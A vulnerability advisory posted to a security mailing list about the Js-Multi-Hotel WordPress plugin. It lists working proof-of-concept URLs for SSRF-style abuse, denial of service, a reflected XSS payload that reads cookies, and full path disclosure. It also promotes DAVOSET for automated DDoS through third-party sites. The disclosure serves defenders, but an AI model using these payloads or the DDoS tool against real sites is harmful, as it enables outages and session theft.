Hello list!

There are multiple vulnerabilities in Js-Multi-Hotel plugin for WordPress. 
Earlier I wrote about two other vulnerabilities.

These are Abuse of Functionality, Denial of Service, Cross-Site Scripting 
and Full path disclosure vulnerabilities in Js-Multi-Hotel plugin for 
WordPress. There are much more vulnerabilities in this plugin (including 
dangerous holes), so after two advisories I'll write new advisories.

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Affected products:
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Vulnerable are Js-Multi-Hotel 2.2.1 and previous versions.

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Affected vendors:
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Joomlaskin
http://www.joomlaskin.it

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Affected products:
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Vulnerable are Js-Multi-Hotel 2.2.1 and previous versions.

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Details:
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Abuse of Functionality (WASC-42):

http://site/wp-content/plugins/js-multihotel/includes/show_image.php?file=http://site&w=1&h=1

DoS (WASC-10):

http://site/wp-content/plugins/js-multihotel/includes/show_image.php?file=http://site/big_file&h=1&w=1

Besides conducting DoS attack manually, it's also possible to conduct 
automated DoS and DDoS attacks with using of DAVOSET 
(http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2013-June/008850.html).

DDoS attacks via other sites execution tool: 
http://websecurity.com.ua/davoset/

Video demonstration of DAVOSET: http://www.youtube.com/watch?v=RKi35-f346I

Cross-Site Scripting (WASC-08):

http://site/wp-content/plugins/js-multihotel/includes/delete_img.php?path=%3Cbody%20onload=with(document)alert(cookie)%3E

About XSS vulnerability in refreshDate.php in parameter roomid there was 
written earlier 
(http://packetstormsecurity.com/files/124239/WordPress-Js-Multi-Hotel-2.2.1-Cross-Site-Scripting.html).

Full path disclosure (WASC-13):

http://site/wp-content/plugins/js-multihotel/includes/functions.php

http://site/wp-content/plugins/js-multihotel/includes/myCalendar.php

http://site/wp-content/plugins/js-multihotel/includes/refreshDate.php?d=

http://site/wp-content/plugins/js-multihotel/includes/show_image.php

http://site/wp-content/plugins/js-multihotel/includes/widget.php

http://site/wp-content/plugins/js-multihotel/includes/phpthumb/GdThumb.inc.php

http://site/wp-content/plugins/js-multihotel/includes/phpthumb/thumb_plugins/gd_reflection.inc.php

I wrote about these vulnerabilities at my site 
(http://websecurity.com.ua/7087/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua